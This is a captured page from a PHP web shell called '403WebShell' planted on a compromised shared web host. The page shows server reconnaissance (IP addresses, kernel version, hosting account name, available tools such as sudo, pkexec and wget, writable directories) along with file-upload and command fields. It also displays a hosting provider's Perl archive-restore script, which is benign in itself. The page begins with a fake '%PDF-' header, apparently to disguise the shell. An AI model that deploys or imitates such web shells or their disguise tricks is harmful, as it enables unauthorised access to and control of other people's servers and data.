%PDF- %PDF- 403WebShell
403Webshell
Server IP : 79.170.40.229  /  Your IP : 3.15.4.45
Web Server : Apache
System : Linux web230.extendcp.co.uk 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : 1stforcarhirealicante.com ( 296923)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/bin/zip-restore.pl
#!/usr/bin/perl -w
use strict;

my $passed_username=$ARGV[0];
my $zipfile=$ARGV[1];
my $restore_type=$ARGV[2];
my $start_dir = $ARGV[3] || "";

my $home_dir = (getpwuid($<))[7];
chdir($home_dir);

if($start_dir) {
	chdir($start_dir);
} else {
	$start_dir = $home_dir;
}

unless($zipfile) {
  warn "No zip file.";
  exit 1;
}
unless($restore_type) {
  warn "No restore type.";
  exit 2;
}
unless(-r $zipfile) {
  warn "Zip file does not exist, or is not readable.";
  exit 1;
}

# Set the file type so we can take the corect unpack action

my $file_type;
if ( $zipfile =~ m/\.zip$/) { $file_type = 1; }
elsif ( $zipfile =~ m/\.tar\.gz$/) { $file_type = 2; }
elsif ( $zipfile =~ m/\.tgz$/) { $file_type = 2; }
elsif ( $zipfile =~ m/\.tar\.Z$/) { $file_type = 2; }
elsif ( $zipfile =~ m/\.tar$/) { $file_type = 3; }
elsif ( $zipfile =~ m/\.tar\.bz2$/) { $file_type = 4; }
elsif ( $zipfile =~ m/\.tbz2$/) { $file_type = 4; }
else {
  warn "Zip file does not have standard suffix; cannot determine unpack process.";
  exit 1;
}

# Get a file list from the zip file.

my %zip_contents;

###### .zip files
if ($file_type == 1 ) {
	open ZIPLIST, "-|","unzip","-l",$zipfile or die $!;
	while(<ZIPLIST>) {
        chomp;
        my @parts=split(/\s+/,$_,5);
        if($parts[4] and $parts[2]=~/^[[:digit:]]/ and $parts[4]=~m#^[^\.][^/]+/
?$#) {
			$zip_contents{$parts[4]}=1;
        }
	}
	close ZIPLIST;
}
##### .tar.gz; .tgz; .tar.Z files
elsif ($file_type == 2 ) {
	open ZIPLIST, "-|","/bin/tar","tzf",$zipfile or die $!;
	while(<ZIPLIST>) {
        chomp;
        if($_ =~ m#^[^\.][^/]+/ ?$#) {
			$zip_contents{$_}=1;
        }
	}
	close ZIPLIST;
}
##### .tar files
elsif ($file_type == 3 ) {
	open ZIPLIST, "-|","/bin/tar","tf",$zipfile or die $!;
	while(<ZIPLIST>) {
        chomp;
        if($_ =~ m#^[^\.][^/]+/ ?$#) {
			$zip_contents{$_}=1;
        }
	}
	close ZIPLIST;
}
##### .tar,bz2; .tbz2  files
elsif ($file_type == 4 ) {
	open ZIPLIST, "-|","/bin/tar","tjf",$zipfile or die $!;
	while(<ZIPLIST>) {
        chomp;
        if($_ =~ m#^[^\.][^/]+/ ?$#) {
			$zip_contents{$_}=1;
        }
	}
	close ZIPLIST;
}

my @unsafe_dirs=qw/logs/;

opendir DIR, "." or die $!;
my @safe_dirs;
my @safe_dirs_d;
foreach my $dname (readdir DIR) {
        next if $dname=~m/^\./;
        if(not grep {$dname eq $_} @unsafe_dirs) {
                if($zip_contents{$dname} or $zip_contents{"$dname/"}) {
                        push @safe_dirs, $dname;
                } else {
                        push @safe_dirs_d, $dname;
                }
        }
}
closedir DIR;

if($restore_type eq "missing") {
        restore_missing($file_type);
} elsif($restore_type eq "temp") {
        restore_temp($file_type);
} elsif($restore_type eq "delete") {
        delete_and_restore($file_type);
}

sub restore_missing {
		my $file_type = shift;
		if ($file_type == 1) {
			system("unzip","-n",$zipfile);
		} elsif ($file_type == 2) {
			system("/bin/tar","xzf",$zipfile);
		} elsif ($file_type == 3) {
			system("/bin/tar","xf",$zipfile);
		} elsif ($file_type == 4) {
			system("/bin/tar","xjf",$zipfile);
		}
}
sub restore_temp {
		my $file_type = shift;
        my @more_args=@_;
        use File::Temp;
        my $temp_dir=mkdtemp("zip.XXXXXX");
		if ($file_type == 1) {
			system("unzip",@more_args,"-d",$temp_dir,$zipfile);
		} elsif ($file_type == 2) {
			 chdir($temp_dir);
		     system("/bin/tar","xzf","$start_dir/$zipfile");
			 chdir($start_dir);
		} elsif ($file_type == 3) {
			 chdir($temp_dir);
		     system("/bin/tar","xf","$start_dir/$zipfile");
			 chdir($start_dir);
		} elsif ($file_type == 4) {
			 chdir($temp_dir);
		     system("/bin/tar","xjf","$start_dir/$zipfile");
			 chdir($start_dir);
		}
		return $temp_dir;
}

sub delete_and_restore {
		my $file_type = shift;
        print "Performing full delete and restore.\n";
        my $temp_dir=restore_temp($file_type, "-q");
        my $delete_dir=mkdtemp("delete.XXXXXX");
        foreach my $dname (@safe_dirs) {
                rename($dname,"$delete_dir/$dname");
                rename("$temp_dir/$dname",$dname);
        }
        foreach my $dname (keys %zip_contents) {
                rename("$temp_dir/$dname",$dname);
        }
        foreach my $dname (@safe_dirs_d) {
                rename($dname,"$delete_dir/$dname");
        }

        rmdir $temp_dir;
        system("/bin/chmod","-R","+wx",$delete_dir);
        system("/bin/chmod","-R","+wx",$temp_dir);
        system("/bin/rm","-rf",$delete_dir);
        system("/bin/rm","-rf",$temp_dir);
        print "Completed.\n";
}

Youez - 2016 - github.com/yon3zu
LinuXploit